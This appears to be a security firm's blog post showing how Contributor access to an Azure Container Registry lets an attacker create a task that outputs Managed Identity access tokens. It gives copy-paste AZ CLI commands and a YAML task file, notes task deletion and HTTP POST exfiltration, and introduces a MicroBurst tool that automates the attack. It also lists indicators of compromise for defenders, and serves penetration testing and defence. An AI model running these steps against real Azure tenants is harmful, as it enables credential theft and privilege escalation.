In the ever-evolving landscape of containerized applications, Azure Container Registry (ACR) is one of the more commonly used services in Azure for the management and deployment of container images. ACR not only serves as a secure and scalable repository for Docker images, but also offers a suite of powerful features to streamline management of the container lifecycle. One of those features is the ability to run build and configuration scripts through the “Tasks” functionality.  

This functionality does have some downsides, as it can be abused by attackers to generate tokens for any Managed Identities that are attached to the ACR. In this blog post, we will show the processes used to create a malicious ACR task that can be used to export tokens for Managed Identities attached to an ACR. We will also show a new tool within MicroBurst that can automate this whole process for you. 

TL;DR 

  • Azure Container Registries (ACRs) can have attached Managed Identities 
  • Attackers can create malicious tasks in the ACR that generate and export tokens for the Managed Identities 
  • We’ve created a tool in MicroBurst (Invoke-AzACRTokenGenerator) that automates this attack path 

Previous Research 

To be fully transparent, this blog and tooling was a result of trying to replicate some prior research from Andy Robbins (Abusing Azure Container Registry Tasks) that was well documented, but lacked copy and paste-able commands that I could use to recreate the attack. While the original blog focuses on overwriting existing tasks, we will be focusing on creating new tasks and automating the whole process with PowerShell. A big thank you to Andy for the original research, and I hope this tooling helps others replicate the attack.

Attack Process Overview 

Here is the general attack flow that we will be following: 

  1. The attacker has Contributor (Write) access on the ACR 
    • Technically, you could also poison existing ACR task files in a GitHub repo, but the previous research (noted above) does a great job of explaining that issue 
  2. The attacker creates a malicious YAML task file  
    • The task authenticates to the Az CLI as the Managed Identity, then generates a token 
  3. A Task is created with the AZ CLI and the YAML file 
  4. The Task is run in the ACR Task container 
  5. The token is written to the Task output, then retrieved by the attacker 

If you want to replicate the attack using the AZ CLI, use the following steps:

  1. Authenticate to the AZ CLI (AZ Login) with an account with the Contributor role on the ACR
  2. Identify the available Container Registries with the following command:
az acr list
  1. Write the following YAML to a local file (.\taskfile) 
version: v1.1.0 
steps: 
  - cmd: az login --identity --allow-no-subscriptions 
  - cmd: az account get-access-token 
  1. Note that this assumes you are using a System Assigned Managed Identity, if you’re using a User-Assigned Managed Identity, you will need to add a “–username <client_id|object_id|resource_id>” to the login command 
  2. Create the task in the ACR ($ACRName) with the following command 
az acr task create --registry $ACRName --name sample_acr_task --file .\taskfile --context /dev/null --only-show-errors --assign-identity [system] 
  1. If you’re using a User-Assigned Managed Identity, replace [system] with the resource path (“/subscriptions/<subscriptionId>/resourcegroups/<myResourceGroup>/providers/
    Microsoft.ManagedIdentity/userAssignedIdentities/<myUserAssignedIdentitiy>”) for the identity you want to use 
  2. Use the following command to run the command in the ACR 
az acr task run -n sample_acr_task -r $acrName 
  1. The task output, including the token, should be displayed in the output for the run command. 
  2. Next, we will want to delete the task with the following command 
az acr task delete -n sample_acr_task -r $acrName -y 

Please note that while the task may be deleted, the “Runs” of the task will still show up in the ACR. Since Managed Identity tokens have a limited shelf-life, this isn’t a huge concern, but it would expose the token to anyone with the Reader role on the ACR. If you are concerned about this, feel free to modify the task definition to use another method (HTTP POST) to exfiltrate the token. 

Automating Managed Identity Token Extraction in Azure Container Registries

Invoke-AzACRTokenGenerator Usage/overview 

To automate this process, we added the Invoke-AzACRTokenGenerator function to the MicroBurst toolkit. The function follows the above methodology and uses a mix of the Az PowerShell module cmdlets and REST API calls to replace the AZ CLI commands.  

A couple of things to note: 

  • The function will prompt (via Out-GridView) you for a Subscription to use and for the ACRs that you want to target 
    • Keep in mind that you can multi-select (Ctrl+click) Subscriptions and ACRs to help exploit multiple targets at once 
  • By default, the function generates tokens for the “Management” (https://management.azure.com/) service 
    • If you want to specify a different scope endpoint, you can do so with the -TokenScope parameter. 
    • Two commonly used options: 
      1. https://graph.microsoft.com/ – Used for accessing the Graph API
      2. https://vault.azure.net – Used for accessing the Key Vault API 
  • The Output is a Data Table Object that can be assigned to a variable  
    • $tokens = Invoke-AzACRTokenGenerator 
    • This can also be appended with a “+=” to add tokens to the object 
      1. This is handy for storing multiple token scopes (Management, Graph, Vault) in one object 

This command will be imported with the rest of the MicroBurst module, but you can use the following command to manually import the function into your PowerShell session: 

Import-Module .\MicroBurst\Az\Invoke-AzACRTokenGenerator.ps1 

Once imported, the function is simple to use: 

Invoke-AzACRTokenGenerator -Verbose 

Example Output:

Automating Managed Identity Token Extraction in Azure Container Registries

Indicators of Compromise (IoCs) 

To better support the defenders out there, we’ve included some IoCs that you can look for in your Azure activity logs to help identify this kind of attack. 

Operation Name Description 
Microsoft.ContainerRegistry/registries/tasks/write Create or update a task for a container registry. 
Microsoft.ContainerRegistry/registries/scheduleRun/action Schedule a run against a container registry. 
Microsoft.ContainerRegistry/registries/runs/listLogSasUrl/actionGet the log SAS URL for a run. 
Microsoft.ContainerRegistry/registries/tasks/delete Delete a task for a container registry.

Conclusion 

The Azure ACR tasks functionality is very helpful for automating the lifecycle of a container, but permissions misconfigurations can allow attackers to abuse attached Managed Identities to move laterally and escalate privileges.  

If you’re currently using Azure Container Registries, make sure you review the permissions assigned to the ACRs, along with any permissions assigned to attached Managed Identities. It would also be worthwhile to review permissions on any tasks that you have stored in GitHub, as those could be vulnerable to poisoning attacks. Finally, defenders should look at existing task files to see if there are any malicious tasks, and make sure that you monitor the actions that we noted above.